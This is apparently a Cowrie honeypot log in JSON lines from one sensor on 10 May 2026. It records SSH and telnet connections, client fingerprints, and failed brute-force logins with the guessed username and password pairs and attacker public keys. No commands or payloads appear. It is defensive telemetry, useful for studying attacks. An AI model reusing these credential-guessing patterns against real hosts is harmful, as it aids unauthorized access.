{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.575546Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":49306,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cafc790ab32","protocol":"ssh","message":"New connection: 80.94.92.186:49306 (159.203.135.109:22) [session: 9cafc790ab32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:18.192774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:18.379796Z","src_ip":"80.94.92.186","session":"9cafc790ab32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:18.383919Z","src_ip":"80.94.92.186","session":"9cafc790ab32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:19.769801Z","src_ip":"80.94.92.186","session":"9cafc790ab32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:20.999446Z","src_ip":"80.94.92.186","session":"9cafc790ab32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65519,"dst_ip":"10.17.0.5","dst_port":23,"session":"76ba873ea95e","protocol":"telnet","message":"New connection: 212.55.149.117:65519 (10.17.0.5:23) [session: 76ba873ea95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:58:04.030065Z"}
{"eventid":"cowrie.session.closed","duration":120.01177930831909,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:58:15.026572Z","src_ip":"212.55.149.117","session":"cb641b9cf943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.223227977752686,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:59:04.253162Z","src_ip":"212.55.149.117","session":"76ba873ea95e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36700,"dst_ip":"10.17.0.5","dst_port":22,"session":"37f64f779c3c","protocol":"ssh","message":"New connection: 103.15.226.202:36700 (10.17.0.5:22) [session: 37f64f779c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:59:12.547866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:59:12.553093Z","src_ip":"103.15.226.202","session":"37f64f779c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:59:12.805121Z","src_ip":"103.15.226.202","session":"37f64f779c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc123","message":"login attempt [root/qweasdzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:59:13.550250Z","src_ip":"103.15.226.202","session":"37f64f779c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:59:14.799717Z","src_ip":"103.15.226.202","session":"37f64f779c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":61570,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd07a757a96","protocol":"telnet","message":"New connection: 212.55.149.117:61570 (10.17.0.5:23) [session: 1fd07a757a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:59:35.637379Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":35310,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceedb2e82100","protocol":"ssh","message":"New connection: 163.7.6.74:35310 (159.203.135.109:22) [session: ceedb2e82100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:19.126792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:19.177882Z","src_ip":"163.7.6.74","session":"ceedb2e82100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:19.485898Z","src_ip":"163.7.6.74","session":"ceedb2e82100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r.","message":"login attempt [ubuntu/1q2w3e4r.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:20.686893Z","src_ip":"163.7.6.74","session":"ceedb2e82100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:21.957823Z","src_ip":"163.7.6.74","session":"ceedb2e82100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":24009,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce1bc7998ad5","protocol":"ssh","message":"New connection: 213.209.159.56:24009 (159.203.135.109:22) [session: ce1bc7998ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:35.775051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:35.780295Z","src_ip":"213.209.159.56","session":"ce1bc7998ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:35.865569Z","src_ip":"213.209.159.56","session":"ce1bc7998ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli","message":"login attempt [kaeli/kaeli] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:36.266558Z","src_ip":"213.209.159.56","session":"ce1bc7998ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.30670762062073,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:36.943861Z","src_ip":"212.55.149.117","session":"1fd07a757a96","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli1","message":"login attempt [kaeli/kaeli1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:37.350817Z","src_ip":"213.209.159.56","session":"ce1bc7998ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli123","message":"login attempt [kaeli/kaeli123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:38.434599Z","src_ip":"213.209.159.56","session":"ce1bc7998ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli1234","message":"login attempt [kaeli/kaeli1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:39.520447Z","src_ip":"213.209.159.56","session":"ce1bc7998ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51988,"dst_ip":"159.203.135.109","dst_port":22,"session":"78286e89ad7e","protocol":"ssh","message":"New connection: 80.94.92.186:51988 (159.203.135.109:22) [session: 78286e89ad7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:39.848716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:40.302844Z","src_ip":"80.94.92.186","session":"78286e89ad7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:40.307086Z","src_ip":"80.94.92.186","session":"78286e89ad7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli12345","message":"login attempt [kaeli/kaeli12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:40.605680Z","src_ip":"213.209.159.56","session":"ce1bc7998ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:41.693968Z","src_ip":"213.209.159.56","session":"ce1bc7998ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:42.149534Z","src_ip":"80.94.92.186","session":"78286e89ad7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:43.542771Z","src_ip":"80.94.92.186","session":"78286e89ad7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.53.148.190","src_port":53300,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de8a4ad4a9c","protocol":"ssh","message":"New connection: 101.53.148.190:53300 (10.17.0.5:22) [session: 3de8a4ad4a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:46.688092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:46.693311Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:46.915791Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:64:cf:42:0e:b8:bd:14:8c:5b:7f:0c:48:b3:07:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZUgnAv2haBM8f4BBEvlgItnlfyBt5WNvQfXh43Av1gli0jCtpJe01OGc3QSLxz52rpWPnkgOHyV7L/bF6Am7ZYTKoh0wXSs7Kc4mynyB3gCidfhHOnllVW/dyV34xQIhTsOKbOAqDj8AuaBG6HVpgu3D3hN6BI8GM+5exyDe+9QVeJUm0l7pHHTaZ7WFlHKE5fPxfe6XhET+C1OVK2Zh12Prv4gtiVlkTMe/jVTN8vePAnJztWYTHu9nHDu/e3GN5NNGrl6u2lp/iRYSIYy1ekC1eAsCCZ3do4AGNDK4TCPlguTsFp7+17HP36e8DA2e6firif0m9UPimTrWpbo/d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:64:cf:42:0e:b8:bd:14:8c:5b:7f:0c:48:b3:07:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.002733Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:64:cf:42:0e:b8:bd:14:8c:5b:7f:0c:48:b3:07:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZUgnAv2haBM8f4BBEvlgItnlfyBt5WNvQfXh43Av1gli0jCtpJe01OGc3QSLxz52rpWPnkgOHyV7L/bF6Am7ZYTKoh0wXSs7Kc4mynyB3gCidfhHOnllVW/dyV34xQIhTsOKbOAqDj8AuaBG6HVpgu3D3hN6BI8GM+5exyDe+9QVeJUm0l7pHHTaZ7WFlHKE5fPxfe6XhET+C1OVK2Zh12Prv4gtiVlkTMe/jVTN8vePAnJztWYTHu9nHDu/e3GN5NNGrl6u2lp/iRYSIYy1ekC1eAsCCZ3do4AGNDK4TCPlguTsFp7+17HP36e8DA2e6firif0m9UPimTrWpbo/d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.006698Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:cf:d8:df:1e:3c:65:3b:c1:7c:7b:ad:7e:9f:99:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJWZWCV2rRQNGZpHw85yWTOer0ysOq2hc8S6APCca6VslD3GQUaqUO3yztfA86X6rQxPaI7SM9ooztzYXbfze8UGd5Gc8gdVZp5bl6HZjor3vocnnVif7JTJ3W2Hthij9mCYGYU/D9i0doqfiagFcgJJEs856VBihEUj/Qgc2j0i8Qdts6WdjlJUlzuzmHD7Ppi5qZWF5a+gSXTCRmZBkuRwJon2LPXs9VaMoIZwfzemXGEZTCWqti73F7krrFzE3W7BlnDo5Sz5dMYdQQU9rvE/FGPx9ejQmOARrRT3jdqTLWS3SkupzoNxsAwkA5Kug2IgYYUKMCuY+ZvhNn9dT9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:cf:d8:df:1e:3c:65:3b:c1:7c:7b:ad:7e:9f:99:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.227987Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:cf:d8:df:1e:3c:65:3b:c1:7c:7b:ad:7e:9f:99:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJWZWCV2rRQNGZpHw85yWTOer0ysOq2hc8S6APCca6VslD3GQUaqUO3yztfA86X6rQxPaI7SM9ooztzYXbfze8UGd5Gc8gdVZp5bl6HZjor3vocnnVif7JTJ3W2Hthij9mCYGYU/D9i0doqfiagFcgJJEs856VBihEUj/Qgc2j0i8Qdts6WdjlJUlzuzmHD7Ppi5qZWF5a+gSXTCRmZBkuRwJon2LPXs9VaMoIZwfzemXGEZTCWqti73F7krrFzE3W7BlnDo5Sz5dMYdQQU9rvE/FGPx9ejQmOARrRT3jdqTLWS3SkupzoNxsAwkA5Kug2IgYYUKMCuY+ZvhNn9dT9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.232612Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
